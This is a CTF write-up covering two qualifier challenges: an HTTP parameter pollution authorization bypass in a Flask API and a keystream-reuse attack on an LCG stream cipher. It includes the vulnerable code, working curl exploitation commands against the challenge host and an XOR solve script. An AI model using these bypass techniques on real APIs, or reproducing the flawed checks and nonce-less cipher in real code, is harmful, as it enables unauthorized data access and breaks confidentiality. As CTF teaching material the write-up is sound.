ssss
This contains writeups of the IITB2025 ctf qualifiers
Writeup: API Parameter Pollution Challenge
Category: API Security
Challenge Name: Secure API
URL: https://tlctf2025-api.chals.io
1. Challenge Overview
We are provided with a Python Flask API (app-public.py) and a link to a live instance. The goal is to recover a flag hidden within the /api/balance endpoint.
A review of the source code shows that the flag is strictly conditional: it is only returned if the user’s balance is greater than or equal to 10,000.
Regular Users: Registered via the API with a starting balance of 100.
Admin User: Hardcoded in the database with a balance of 10,000.
Objective: We must trick the API into revealing the “admin” user’s balance (and thus the flag) while authenticated as a low-privileged user.
2. Code Analysis
The vulnerability is located in the balance() function in app-public.py. The authentication flow is standard, but the logic for retrieving a user’s balance contains a critical flaw in how it handles query parameters.
The Vulnerable Logic
def balance():
# 1. Access Control Check
# request.args.get returns the FIRST value for 'username'
target = request.args.get('username')
# Verifies that the target matches the logged-in user
if target and target != auth_user:
return jsonify({'error': 'unauthorized'}), 403
# 2. Database Query
# request.args.getlist returns ALL values for 'username'
query_target = request.args.getlist('username')
if query_target:
# The code explicitly selects the LAST value in the list
actual_target = query_target[-1]
cur = db.execute('SELECT username, balance FROM users WHERE username = ?', (actual_target,))
The Vulnerability: HTTP Parameter Pollution (HPP)
The application validates one parameter but uses another for the actual logic:
Validation: request.args.get(‘username’) fetches the first occurrence of the parameter. This is checked against our logged-in session.
Execution: request.args.getlist(‘username’)[-1] fetches the last occurrence. This is used to query the database.
By sending two username parameters, we can pass the check with the first one and query the admin account with the second.
3. Exploitation Steps
Step 1: Register a User
First, we register a random user to get valid credentials.
Command:
curl -X POST -H "Content-Type: application/json" -d '{"username":"azrael", "password":"password"}' https://tlctf2025-api.chals.io/api/register
password doesnt matter as this is a ctf

Step 2: Login and Obtain Token
We log in with the created user to retrieve the UUID authentication token.
Command:
curl -X POST -H "Content-Type: application/json" -d '{"username":"azrael", "password":"password"}' https://tlctf2025-api.chals.io/api/login

Step 3: Exploit via Parameter Pollution
Using the token, we request the balance. We set the first username to “azrael” (to pass the auth check) and the second username to “admin” (to trigger the query for the flag).
Command:
curl -H "Authorization: Bearer <YOUR_TOKEN>" https://tlctf2025-api.chals.io/api/balance?username=azrael&username=admin
Our command:
curl -H "Authorization: Bearer 09dd59fa-d916-45e6-89ca-d2ef4158bc2a" https://tlctf2025-api.chals.io/api/balance?username=azrael&username=admin

BOOM Challenge Over
4. Conclusion
The challenge demonstrated a Logic Flaw specifically known as HTTP Parameter Pollution (HPP). By exploiting the discrepancy between how the access control mechanism and the business logic processed duplicate parameters, we successfully bypassed authorization and accessed administrative data.
Flag: trustctf{1n53cur3_0bj3c7_r3f3r3nc3_f7w}
Writeup: Custom Encryption Challenge
Category: Cryptography
Challenge Name: N00bRandomness
1. Challenge Overview
We are provided with a Python script challenge.py and an output file output.txt.
The script implements a custom stream cipher based on a Linear Congruential Generator (LCG). It generates a keystream and XORs it with the plaintext to produce the ciphertext.
The output.txt file gives us:
PLAIN1_HEX: A known plaintext message.
CIPH1_HEX: The encrypted version of the known plaintext.
CIPH2_HEX: Another encrypted message (irrelevant for the solution).
CIPH3_HEX: The encrypted flag.
Objective: Decrypt CIPH3_HEX to retrieve the flag.
2. Code Analysis & Vulnerability
The Encryption Logic
The core encryption logic is found in the _mask_bytes function:
def _mask_bytes(payload: bytes, x: int, y: int, seed: int) -> bytes:
s = seed & 0xFF
out = bytearray()
for b in payload:
s = _step(x, y, s) # Generates next keystream byte
out.append(b ^ s) # XORs plaintext with keystream
return bytes(out)
The Vulnerability: Keystream Reuse
The vulnerability lies in how main() calls the encryption function:
def main():
msg1, msg2, flag, A, C, SEED = secret.get_secret_material()
ct1 = _mask_bytes(msg1, A, C, SEED)
ct2 = _mask_bytes(msg2, A, C, SEED)
ct3 = _mask_bytes(flag, A, C, SEED)
Notice that _mask_bytes is called three times with the exact same secrets (A, C) and the exact same SEED.
Because the LCG is deterministic and resets its state s to SEED at the beginning of every _mask_bytes call, the exact same keystream is generated for every message.
This is a classic “Many-Time Pad” vulnerability.
$C_1 = P_1 \oplus K$
$C_{flag} = P_{flag} \oplus K$
Since we know $P_1$ (the welcome message) and $C_1$, we can trivially recover the keystream $K$:
$K = P_1 \oplus C_1$
Once we have $K$, we can decrypt the flag:
$P_{flag} = C_{flag} \oplus K$
3. Exploitation
I wrote a Python script, solve.py, to automate the XOR operations.
solve.py:
PLAIN1_HEX = "57656c636f6d6520746f206d7920756c7472612073656375726520656e6372797074696f6e2073657276696365210a54686973206d6573736167652069732066756c6c79206b6e6f776e20746f20796f752e0a537572656c7920796f752063616e6e6f7420627265616b206d792074686973206369706865722e2e2e0a"
CIPH1_HEX = "c6956bf53271f6a2dda7bf830cd45eb6b5d25666fea9a047ab1deffbcbc729f381240e99d35c80877b5e962db075816e4969e486804950e158bf4ade6c779b8c24dcab2f3db73d2d1ee67fda5a9492f5f44efd5538fee69ee018f6311044782bdf7e48c25d5ec1c7a8839f63ec343f9288b37705c49c8b378bb6c190cf"
CIPH3_HEX = "e58272e5297fe7e4d2b1af9b2a901bb4b5ff0430bea29c5cea4babc197fb39d5823d5384c923c7bd7d40ce7ba8"
plain1 = bytes.fromhex(PLAIN1_HEX)
ciph1 = bytes.fromhex(CIPH1_HEX)
ciph3_flag = bytes.fromhex(CIPH3_HEX)
print("Length of Known Plaintext:", len(plain1))
print("Length of Ciphertext 1: ", len(ciph1))
print("Length of Flag Ciphertext:", len(ciph3_flag))
keystream = []
for p, c in zip(plain1, ciph1):
keystream.append(p ^ c)
print(f"\nRecovered {len(keystream)} bytes of keystream.")
# Logic: Flag = Flag_Cipher XOR Keystream
flag_bytes = []
for c, k in zip(ciph3_flag, keystream):
flag_bytes.append(c ^ k)
flag = bytes(flag_bytes).decode('utf-8', errors='ignore')
print(f"FLAG: {flag}")
It converts the hex strings from output.txt into bytes.
It XORs PLAIN1 and CIPH1 to recover the Keystream.
It XORs CIPH3 with the recovered Keystream to reveal the flag.
Execution:
python3 solve.py

4. Conclusion
The challenge relied on a custom stream cipher that failed to implement a unique nonce or initialization vector (IV) for each encryption. By reusing the same seed for multiple messages, the system became vulnerable to a Known Plaintext Attack, allowing us to recover the keystream and decrypt the flag without needing to crack the underlying LCG parameters.
Flag: trustctf{d0nt_r3us3_k3ystr34ms_lmao}